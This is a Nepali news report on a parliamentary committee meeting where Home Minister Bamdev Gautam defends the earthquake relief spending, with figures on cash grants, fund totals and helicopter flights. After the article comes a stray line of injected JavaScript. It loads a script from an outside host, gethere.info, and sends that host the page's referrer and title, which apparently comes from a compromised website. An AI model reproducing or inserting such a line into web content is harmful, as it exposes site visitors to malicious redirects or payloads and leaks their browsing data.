काठमाडौं- उपप्रधानमन्त्री तथा गृहमन्त्री वामदेव गौतमले विपद् व्यवस्थापनका क्रममा सरकारद्वारा वितरण गरिएको राहतमा कुनै पनि अनियमितता नभएको बताएका छन्। व्यवस्थापिका–संसद्को सार्वजनिक लेखा समितिका सभापति जनार्दन शर्माको सभापतित्वमा भएको बैठकमा सांसदको जिज्ञासाको उत्तर दिँदै गृहमन्त्री गौतमले भूकम्प प्रभावित क्षेत्रका जोखिम बस्तीलाई सुरक्षित स्थानमा स्थानान्तरण गर्ने काम अन्तिम चरणमा पुगेको बताए।

अस्थायी बसोबासका लागि सरकारले प्रदान गर्ने रु १५ हजार सम्बन्धित क्षेत्रका जनतालाई उपलब्ध गराइसकेको बताउँदै उपप्रधानमन्त्री गौतमले बाँकी रु दुई लाख रकम त्यस्ता क्षेत्रमा भूकम्प प्रतिरोधक घर बनाउन उपयोग गरिने जानकारी दिए। सचिव सिलवालले प्रधानमन्त्री दैवी प्रकोप उद्धार कोषबाट हालसम्म केन्द्रीय दैवी प्रकोप उद्धार कोषमा रु १२ अर्ब प्राप्त भएको र त्यसमध्ये राहत वितरणका लागि बुधबारसम्म रु ११ अर्ब ८८ करोड ७३ लाख ४६ हजार ८६ खर्च भइसकेको जानकारी गराएका थिए।

बैठकमा गृहमन्त्री गौतमले उद्धारका क्रममा नेपाली सेना, विदेशी निकाय र निजी क्षेत्रका जम्मा ३९ हेलिकप्टरका चार हजार ६३९ उडान भएका र त्यसमा भएको खर्चको विवरण प्रस्तुत गरेका थिए। सचिव सिलवालले भूकम्पबाट जोखिममा रहेका कतिपय क्षेत्रका मानिसले आफ्नो गृहस्थान छोड्न नमानेकाले समस्या देखिएको बताउँदै त्यस्ता बस्तीलाई त्यहीँ नजिक वर्षाबाट जोगिने उपाय गरिएको जानकारी गराए।

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;